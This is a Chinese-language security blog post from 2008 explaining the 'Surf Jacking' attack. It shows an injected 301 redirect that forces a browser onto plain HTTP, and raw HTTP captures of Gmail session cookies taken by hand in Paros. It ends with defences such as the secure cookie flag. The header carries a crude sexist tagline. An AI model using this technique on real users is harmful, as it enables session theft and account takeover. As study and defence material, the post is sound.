Secur1ty just lik3 a girl. B0th of th3m h4ve s0me h0les. Y0u alw4ys try to f1nd the h0le, but n0t 3very tim3 y0u c4n 3xpl0it it!
查看文章 |
又一个猥琐的技巧:Surf Jacking
2008-08-12 16:30
这个技巧是今天EnableSecurity发出来的。 前提条件是能够截获流量。具体来说,就是能监听上行流量,可以修改下行流量。方法可以通过arp欺骗、DNS欺骗、无线监听等实现。 有的人可能会说,都能截获流量了,还有什么不能做的。 确实,能够监听和篡改流量了,就可以做很多事情,比如修改软件自动升级的2进制包,可以arp挂马,可以插入跨站脚本,可以做SSL中间人攻击。 但是我们这里讨论的是威胁。直接挂马或者篡改升级软件,可能会受到种种环境的限制,也有一定的成功率。而SSL中间人攻击,则会跳出一个证书已改变的提示。 除开上面说的这些更火辣的手段,想要从https包里抠点东西出来,是非常困难的,所以目前很多网站比如网银等都普遍采用https加密网络传输过程,以避免敏感信息被监听。 这种 Surf Jacking 攻击,实际上就是在针对某些使用了https的站点时候,由于加密,所以直接监听无法获取cookie,而使用surf jacking强制用户去访问某个攻击者希望用户访问的非https页面,然后在这个过程中窃取用户的明文cookie。 从网络攻击上来说,是具有一定积极意义的,所以作者paper的题目叫做: "HTTPS will not save you" 攻击原理是利用了HTTP协议里的一些跳转,比如:HTTP返回号为 301、302、303、307等,如果附带一个Location 字段,就会然让浏览器跳转到那个地址。这个过程也可以利用一些JS来跳转实现。 ![]() 那么这个攻击过程就很清楚了 1. 浏览器访问某网站A 2. 攻击者篡改HTTP response包为301号返回,然后location指向某个https站点B的一个非https页面 3. 浏览器收到301号跳转,开始访问B的非https页面 4. 攻击者截获浏览器访问B的cookie 以gmail举例,我用Paros手动实现了这一过程 当选择gmail可以使用非https连接时: GET http://www.sohu.com/ HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Paros/3.2.13 Host: www.sohu.com Proxy-Connection: Keep-Alive Cookie: YYID=2DC607514FBD27AEF10C6AE4E5B0220A; SUV=0806181151361975 HTTP/1.1 301 Moved Permanently Location: http://mail.google.com/mail/?ui=1 Cache-Control: private Content-Length: 0 接下来浏览器自动跳转去访问SOHU GET http://mail.google.com/mail/?ui=1 HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Paros/3.2.13 Cookie: GX=DQAAAH4AAABKxMCllKJ33pvig35klAbsrxxxxVf1bmZXEb-orDnAtd5Fxh8cM-rjchZQr7MTfaMROOMSdjp55NulIYiR64J_Fl4Ker3VHxxxFZHySwgmqUexxxsi82j3WwE1yixrkKgm_gSEWEgVY8U61CDUl5xxxxT1fMN4g6QIfTs-_PN1ow; PREF=ID=d69d5f428c1xcaa1:TM=1216179046:LM=1218520262:GM=1:S=leRExWWER-JNb9li; rememberme=true; SID=DQAAAHsAAAC5jzTYYblOMBmxxxyawMlMqn5f8j_rAepYYhs29woApxxxxxmRb5U1sFrV8An3DOBuBz8MkmLAyufJBuPJhMFreWbd-gJtHwqUnoFFhOoZW783kTxzZT-brQMRqEiLGuFZJRIYDMsIyXT5-efmIxxxxx8lGZzIlU7SbzpzrWLaa_Q Proxy-Connection: Keep-Alive Host: mail.google.com HTTP/1.1 200 OK Set-Cookie: S=gmail=3cTytL0AlPxzgpe-kyrTXg:gmail_yj=FXSizI3oTL-n1ENxiysVIA:gmproxy=8ioHBdizXTU:gmproxy_yj=EECeLN9Oqfg:gmproxy_yj_sub=vXLDg3tzUm8; Path=/mail Set-Cookie: GMAIL_AT=xn3j2u5xew8txxxxxxxxuj8i5k4zbq; Path=/mail Set-Cookie: GMAIL_HELP=hosted:0;Path=/ Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Content-Type: text/html; charset=UTF-8 Date: Tue, 12 Aug 2008 07:51:01 GMT Server: GFE/1.3 一切都是通过HTTP协议,是明文可见的。 ![]() 我在测试过程中,发现在选择“在本台计算机上保存帐户”时候,才能完成这样的攻击,否则新开浏览器窗口,就算重定向到gmail,也会跳转到google登录入口去。想来也是由于session cookie和stored cookie的问题。 这种攻击也是具有 局限性的。因为他要求能够在目标网站的域下存在一个能够用http访问的页面,可以是图片或者是css之类,如下: 主站可能是 https://www.fvck.com/index.htm https://www.fvck.com/fvck.php?id=fvckbaidu https加密的部分是没有问题的,但是如果该域下存在一个非https的东东,就会让整个域处于风险中 比如存在一个图片可以直接访问 http://www.fvck.com/fvck.jpg 那么利用Surf Jacking强制用户直接去访问 http://www.fvck.com/fvck.jpg 就能获得该域的cookie了。 根据enblesecurity给出的防范建议是,全站都使用https加密,以及在cookie中增加secure标识。在cookie中增加secure标识后,会强制该cookie只能在https下发送,就可避免敏感cookie泄露的问题了。 相关的链接: Tool: http://surfjack.googlecode.com/ Short paper: http://resources.enablesecurity.com/resources/Surf%20Jacking.pdf Screencast: http://www.vimeo.com/1507697 [1] https://www.defcon.org/html/defcon-16/dc-16-speakers.html#Perry |
最近读者:


然后就能嗅到了吧~